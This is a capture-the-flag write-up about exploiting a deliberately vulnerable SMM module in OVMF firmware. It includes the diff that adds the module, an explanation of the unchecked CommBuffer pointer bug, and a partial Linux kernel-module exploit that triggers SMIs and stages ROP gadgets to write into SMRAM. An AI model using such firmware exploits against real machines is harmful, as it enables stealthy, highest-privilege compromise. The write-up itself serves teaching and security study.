</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+[Protocols]</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ gEfiSmmCorctfProtocolGuid</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+[FeaturePcd]</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ gUefiOvmfPkgTokenSpaceGuid.PcdSmmSmramRequire</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+[Depex]</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ TRUE</span><span style="background-color: whitesmoke; color: #24292e;">
\ No newline at end of file
</span><span class="hljs-comment" style="color: #6a737d;">diff --git a/OvmfPkg/OvmfPkg.dec b/OvmfPkg/OvmfPkg.dec</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">index 8c20480..acdb900 100644</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">--- a/OvmfPkg/OvmfPkg.dec</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">+++ b/OvmfPkg/OvmfPkg.dec</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-meta" style="color: #005cc5;">@@ -172,6 +172,7 @@</span><span style="background-color: whitesmoke; color: #24292e;">
gQemuAcpiTableNotifyProtocolGuid = {0x928939b2, 0x4235, 0x462f, {0x95, 0x80, 0xf6, 0xa2, 0xb2, 0xc2, 0x1a, 0x4f}}
gEfiMpInitLibMpDepProtocolGuid = {0xbb00a5ca, 0x8ce, 0x462f, {0xa5, 0x37, 0x43, 0xc7, 0x4a, 0x82, 0x5c, 0xa4}}
gEfiMpInitLibUpDepProtocolGuid = {0xa9e7cef1, 0x5682, 0x42cc, {0xb1, 0x23, 0x99, 0x30, 0x97, 0x3f, 0x4a, 0x9f}}
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ gEfiSmmCorctfProtocolGuid = {0xb888a84d, 0x3888, 0x480e, {0x95, 0x83, 0x81, 0x37, 0x25, 0xfd, 0x39, 0x8b}}</span><span style="background-color: whitesmoke; color: #24292e;">
[PcdsFixedAtBuild]
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvBase|0x0|UINT32|0
</span><span class="hljs-comment" style="color: #6a737d;">diff --git a/OvmfPkg/OvmfPkgX64.dsc b/OvmfPkg/OvmfPkgX64.dsc</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">index 1448f92..fe4e828 100644</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">--- a/OvmfPkg/OvmfPkgX64.dsc</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">+++ b/OvmfPkg/OvmfPkgX64.dsc</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-meta" style="color: #005cc5;">@@ -697,7 +697,9 @@</span><span style="background-color: whitesmoke; color: #24292e;">
################################################################################
[Components]
OvmfPkg/ResetVector/ResetVector.inf
</span><span class="hljs-deletion" style="background-color: #ffeef0; color: #b31d28;">-</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+!if $(SMM_REQUIRE) == TRUE</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ OvmfPkg/Corctf/Corctf.inf</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+!endif</span><span style="background-color: whitesmoke; color: #24292e;">
#
# SEC Phase modules
#
</span><span class="hljs-comment" style="color: #6a737d;">diff --git a/OvmfPkg/OvmfPkgX64.fdf b/OvmfPkg/OvmfPkgX64.fdf</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">index 438806f..55e1b9e 100644</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">--- a/OvmfPkg/OvmfPkgX64.fdf</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">+++ b/OvmfPkg/OvmfPkgX64.fdf</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-meta" style="color: #005cc5;">@@ -380,7 +380,7 @@</span><span style="background-color: whitesmoke; color: #24292e;"> INF OvmfPkg/CpuHotplugSmm/CpuHotplugSmm.inf
INF UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf
INF MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf
INF UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf
</span><span class="hljs-deletion" style="background-color: #ffeef0; color: #b31d28;">-</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+INF OvmfPkg/Corctf/Corctf.inf</span><span style="background-color: whitesmoke; color: #24292e;">
#
# Variable driver stack (SMM)
#</span></span></p><p> Before discussing the bug, it is important to give a high level overview of SMM - I learned a lot of what I know from this <a href="https://opensecuritytraining.info/IntroBIOS_files/Day1_07_Advanced%20x86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM.pdf" target="_blank">slideshow</a> and this <a href="https://nixhacker.com/digging-into-smm/" target="_blank">post</a>.
SMM (System Management Mode) is the second most privileged ring on
x86_64 (only ring -3 is more privileged). Its intended use case is often
for vital or sensitive firmware that should run uninterrupted at high
privileges. When a system enters SMM, all cores enter SMM to prevent any
potential race conditions in SMT systems… and one wonders why too many
SMM transitions are known for causing performance degradation.</p>
<p>One common way to trigger entry is to rely on a software smi (system
management interrupt) by writing to IO port 0xb2. The processor then
executes the SMM entry point, which is located at an offset from the
SMBASE register, and saves the current processor state for it at a
certain offset from SMBASE to restore later when leaving SMM with the <code>rsm</code>
instruction. The code here starts off by executing in real mode (so
physical addresses!) but identity paging is often set up,
usually as read write execute (although not in the case of current upstream
OVMF). </p>
<p>Generally, the execution and data of SMM handlers should be
constrainted to be within SMRAM - x86_64 has a SMRAMC register that
provides <code>D_OPEN</code> bit, which when unset hides SMRAM from non-SMM contexts, and the <code>D_LCK</code>
bit to prevent tampering with the previous setting (this bit can only
be cleared with a system reset). Modern chips also have a TSEG region,
which you can just think of as extra SMRAM. </p>
<p>There is plenty more to SMM and possible security pitfalls, but that
is beyond the scope of this writeup. If you are curious to see some of
the other links I read up on, I linked them at the end of this writeup.</p>
<p>The bug in the above patch is a classic SMM firmware bug, in which a
pointer passed in via the communication buffer for result output isn’t
checked to be outside of SMRAM. Effectively, this just becomes an
arbitrary write bug. Since SMM in OVMF (and I presume in almost all
UEFI firmware) does not have ASLR, we can just target the stack and ROP in ring
-2. The flag by itself is located in SMRAM, so it would only be
accessible first from ring -2.</p>
<p>A custom QEMU build was also provided from commit
f7f686b61cf7ee142c9264d2e04ac2c6a96d37f8. Standard distro QEMU builds
(which were usualy of older versions) seemed to have trouble working
with SMM, at least when interacting with them from ring 0 (and in
general, there seems to be some quirks with QEMU SMM that differs from
real hardware). KVM was also disabled as attempting to debug with a gdb
remote server caused both gdb and the QEMU instance to crash for me.</p>
<p>The user was booted into an Ubuntu linux-hwe-5.15-headers-5.15.0-73
kernel as the root user. When checking the memory tree in QEMU monitor
mode with <code>info mtree</code>, we see SMRAM relevant regions at <code>0000000000030000-000000000004ffff</code> <code>00000000000a0000-00000000000bffff</code> and <code>000000007f000000-000000007fffffff</code>
(the latter of which is denoted TSEG and where most of the OVMF SMM
modules seem to be located). Both the first and third region are filled
with 0xffs when accessed from non SMM mode, while the middle one is all
nulls (which I believe is treated as relevant for the VGA buffer when
not in SMM mode). So even as root, the player has no way in retrieving
the flag embedded in the buggy SMM module.</p>
<p>The bug by itself is quite simple to exploit, and I also provided the
player with all the debug builds of the OVMF firmware’s internal module
binaries. Any experienced pwner can easily find ROP gadgets with those
to write out the flag from SMRAM to somewhere accessible for ring 0. The
main question now is how can one communicate with this specific corctf
SMM module from kernel, given its GUID in the diff file above?</p>
<p>This took a while for me to figure out, but binarly.io repeatedly
mentioned a tool known as ChipSec when sending payloads from ring 0 to
ring -2. I took a look at how this <a href="https://github.com/chipsec/chipsec/blob/main/chipsec/hal/interrupts.py#L142" target="_blank">functionality</a>
worked, and it seemed that it just scanned memory to look for the
headers of the <code>gSmmCorePrivate</code> struct before replicating the process of
how a UEFI DXE service would trigger and communicate with a specific SMM handler - it does
this by writing the associated CommBuffer pointer with the GUID along
with some additional metadata in regards to sizes, before writing 0 to
IO port 0xB2 and 0xB3 to trigger the software SMI. Note that OVMF checks
to ensure that the CommBuffer is from a specific region of memory in addition to it not overlapping with SMRAM <a href="https://github.com/tianocore/edk2/blob/master/MdePkg/Library/SmmMemLib/SmmMemLib.c#L114" target="_blank">here</a>.</p>
<p>By default, the location of <code>gSmmCorePrivate</code> can’t be reached from
kernel even when reading from physmap, as BIOS marks it as reserved
during boot based on dmesg logs. But this can be easily
solved with the help of <code>ioremap</code> to map in the physical address.</p>
<p>With all the above information, we can now write an exploit! I wrote the following driver to exploit the SMM handler:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><asm/msr.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><asm/io.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/kernel.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/module.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/mm.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/pgtable.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/slab.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
MODULE_AUTHOR(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"FizzBuzz101"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
MODULE_DESCRIPTION(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"Pwning SMM"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
MODULE_LICENSE(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"GPL"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">log_smis</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> val = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
rdmsrl(MSR_SMI_COUNT, val);
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"SMI_COUNT: 0x%llx\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, val);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">trigger_smi</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
log_smis();
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">volatile</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(
<span class="hljs-string" style="color: #a31515;">".intel_syntax noprefix;"</span>
<span class="hljs-string" style="color: #a31515;">"xor eax, eax;"</span>
<span class="hljs-string" style="color: #a31515;">"out 0xb3, eax;"</span>
<span class="hljs-string" style="color: #a31515;">"out 0xb2, eax;"</span>
<span class="hljs-string" style="color: #a31515;">".att_syntax;"</span>
:::<span class="hljs-string" style="color: #a31515;">"rax"</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
log_smis();
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint32_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> Data1;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint16_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> Data2;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint16_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> Data3;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint8_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> Data4[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
} EFI_GUID;
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> START_MAP 0x000000007e8ef000ull </span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> END_MAP 0x000000007eaef000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> SMMC_PHYS_ADDR 0x000000007EACF380ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> COMM_BUFFER 0x7E9EF000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// [ 0.000000] BIOS-e820: [mem 0x000000007e8ef000-0x000000007eb6efff] reserved</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *reserved;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *smmc;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *comm_buffer;
EFI_GUID target_smi_guid = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xb888a84d</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x3888</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x480e</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x95</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x83</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x81</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x37</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x25</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xfd</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x39</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x8b</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">}};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">map_reserved</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// locally, smcc is at 0x000000007EACF380</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
reserved = ioremap(SMMC_PHYS_ADDR & ~(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xfff</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull), PAGE_SIZE);
smmc = reserved + (SMMC_PHYS_ADDR & </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xfff</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull);
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mapped in virtual address of reserved UEFI region: 0x%lx\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)reserved);
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"new SMMC virtual address: 0x%lx\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)smmc);
comm_buffer = ioremap(COMM_BUFFER, PAGE_SIZE);
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mapped in virtual address of UEFI Comm Buffer: 0x%lx\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)comm_buffer);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">unmap_reserved</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
iounmap(reserved);
iounmap(comm_buffer);
}
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> PAYLOAD_MAX_SZ 0x100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">trigger_vuln_smi</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span> *data, <span class="hljs-type" style="color: #a31515;">uint64_t</span> size)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *commbuffer_off = smmc + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">56</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *commbuffersz_off = smmc + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">64</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> final_sz = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(target_smi_guid) + </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(size) + size;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(comm_buffer, &target_smi_guid, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(target_smi_guid));
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(comm_buffer + </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(target_smi_guid) + </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(size), data, size);
writeq(COMM_BUFFER, commbuffer_off);
writeq(final_sz, commbuffersz_off);
trigger_smi();
}
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> ADD_NOTE 0x1337</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> GET_NOTE 0x1338</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> DUMP_NOTES 0x31337</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">__uint128_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> DIARY_NOTE;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint32_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> UINT32;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint8_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> UINT8;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
UINT32 Cmd;
UINT32 Idx;
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">union</span> <span class="hljs-title" style="color: #a31515;">TRANSFER_DATA</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
DIARY_NOTE Note;
UINT8 *Dest;
} Data;
}__attribute__((packed)) COMM_DATA;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">send_key</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">__uint128_t</span> note, <span class="hljs-type" style="color: #a31515;">uint32_t</span> idx)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
COMM_DATA data = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
data.Cmd = ADD_NOTE;
data.Idx = idx;
data.Data.Note = note;
trigger_vuln_smi(&data, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(data));
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">send_gadget</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">uint64_t</span> gadget1, <span class="hljs-type" style="color: #a31515;">uint64_t</span> gadget2, <span class="hljs-type" style="color: #a31515;">uint32_t</span> idx)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">__uint128_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> note = gadget1 | ((</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">__uint128_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)(gadget2) << </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">64</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_key(note, idx);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">dump_all_notes</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">phys_addr_t</span> addr)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
COMM_DATA data = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
data.Cmd = DUMP_NOTES;
data.Data.Dest = addr;
trigger_vuln_smi(&data, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(data));
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// get SMM Driver load addresses from debug log, and break to get return address</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> PiSmmCpuDxeSmmBase 0x0007FFBF000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
